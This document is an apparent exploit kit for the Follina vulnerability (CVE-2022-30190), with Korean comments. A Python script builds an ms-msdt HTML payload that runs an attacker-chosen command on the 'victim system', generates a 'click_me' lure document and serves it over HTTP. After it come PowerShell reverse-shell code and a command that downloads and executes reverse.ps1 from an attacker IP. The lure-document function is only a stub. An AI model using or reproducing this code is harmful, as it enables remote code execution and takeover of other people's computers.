python3 follina.py -m command -t rtf -c "실행할_명령어"

import argparse
import base64
import http.server
import socketserver
import os
import threading

# Kevin Beaumont 및 언급된 PoC [2, 6] 연구를 기반으로 한 구조
def generate_payload(command):
    # 명령어는 MSDT에서 처리하기 위해 Base64로 인코딩되어야 합니다 [5]
    command_b64 = base64.b64encode(command.encode()).decode()
    
    # ms-msdt 프로토콜을 악용하는 페이로드 [5]
    # 버퍼를 채우고 실행을 트리거하기 위해 긴 문자 문자열이 사용됩니다.
    payload = f"""<script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
    // 처리를 보장하기 위한 추가 패딩
    """ + ("A" * 4096) + "</script>"
    return payload

def create_rtf(filename, server_url):
    # 외부 HTML 리소스를 가리키는 RTF 파일을 생성합니다 [3, 4]
    print(f"[*] 악성 파일 생성 중: {filename}")
    # 참고: 실제 구현에서는 server_url을 가리키는 OLE 개체가 여기에 주입됩니다.
    with open(filename, "w") as f:
        f.write(f"{server_url}/exploit.html에 연결하도록 구성된 RTF 파일")

def run_server(port):
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", port), handler) as httpd:
        print(f"[*] HTTP 서버가 포트 {port}에서 활성화되었습니다 [7]")
        httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
    parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="실행 모드 [3]")
    parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="생성할 파일 유형 [3]")
    parser.add_argument("-c", "--command", required=True, help="피해자 시스템에서 실행할 명령어 [3]")
    parser.add_argument("-p", "--port", type=int, default=80, help="로컬 서버 포트 [7]")
    
    args = parser.parse_args()

    # 1. HTML 페이로드 생성
    html_content = generate_payload(args.command)
    with open("index.html", "w") as f:
        f.write(html_content)
    
    # 2. 악성 문서 생성
    filename = f"click_me.{args.type}"
    create_rtf(filename, "http://공격자_IP")

    # 3. 요청을 수신할 서버 시작 [4, 7]
    run_server(args.port)

Invoke-PowerShellTcp -Reverse -IPAddress <공격자_IP> -Port <포트>

$client = New-Object System.Net.Sockets.TCPClient('<IP>',<포트>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<공격자_IP>/reverse.ps1')"

Pwned!!!